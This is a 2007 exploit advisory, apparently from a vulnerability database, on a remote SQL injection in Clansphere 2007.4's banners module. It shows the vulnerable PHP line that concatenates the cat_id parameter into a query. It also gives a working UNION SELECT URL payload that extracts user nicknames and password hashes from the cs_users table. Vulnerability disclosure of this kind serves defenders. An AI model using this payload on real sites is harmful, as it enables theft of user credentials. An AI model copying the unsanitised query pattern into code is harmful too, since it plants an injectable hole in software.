Clansphere 2007.4 (cat_id) Remote SQL Injection Vulnerability

🗓️ 23 Sep 2007 00:00:00Reported by RootType

Clansphere 2007.4 Remote SQL Injection Vulnerability in mods/banners/navlist.ph


                                                #########################################################################################
#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Inclusion&nbsp;Hunter&nbsp;Team
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.ihteam.net
#
#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[Clansphere&nbsp;2007.4]
#
#
#&nbsp;Class:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SQL&nbsp;Injection
#&nbsp;Found:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;22/09/2007
#&nbsp;Remote:&nbsp;&nbsp;&nbsp;&nbsp;Yes
#&nbsp;Site:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.clansphere.net/
#&nbsp;Download:&nbsp;&nbsp;http://sourceforge.net/project/showfiles.php?group_id=95430
#&nbsp;Author:&nbsp;&nbsp;&nbsp;&nbsp;R00T[ATI]&nbsp;of&nbsp;IHTeam
#&nbsp;Contact:&nbsp;&nbsp;&nbsp;[email protected]&nbsp;-&nbsp;http://www.ihteam.net
#
#########################################################################################


&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Vulnerable&nbsp;code:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mods/banners/navlist.php
============================================================================================================
if(!empty($_GET['cat_id']))&nbsp;{
&nbsp;$where&nbsp;=&nbsp;&quot;categories_id&nbsp;=&nbsp;'&quot;&nbsp;.&nbsp;$_GET['cat_id']&nbsp;.&nbsp;&quot;'&quot;;
============================================================================================================




&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exploit&nbsp;(!!!WORK&nbsp;ONLY&nbsp;WITH&nbsp;magic_quotes_gpc&nbsp;=&nbsp;Off!!!):
===================================================================================================================
http://www.site.com/[path]/index.php?mod=banners&amp;cat_id=-1'%20UNION%20ALL%20SELECT%20null,concat(users_nick,0x3a,users_pwd),null,nu

ll%20FROM%20cs_users/*
===================================================================================================================


&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Thanks&nbsp;To:
=================================
White_Sheep&nbsp;for&nbsp;his&nbsp;Bugs&nbsp;Hunter;
=================================

23 Sep 2007 00:00Current

7.1High risk

Vulners AI Score7.1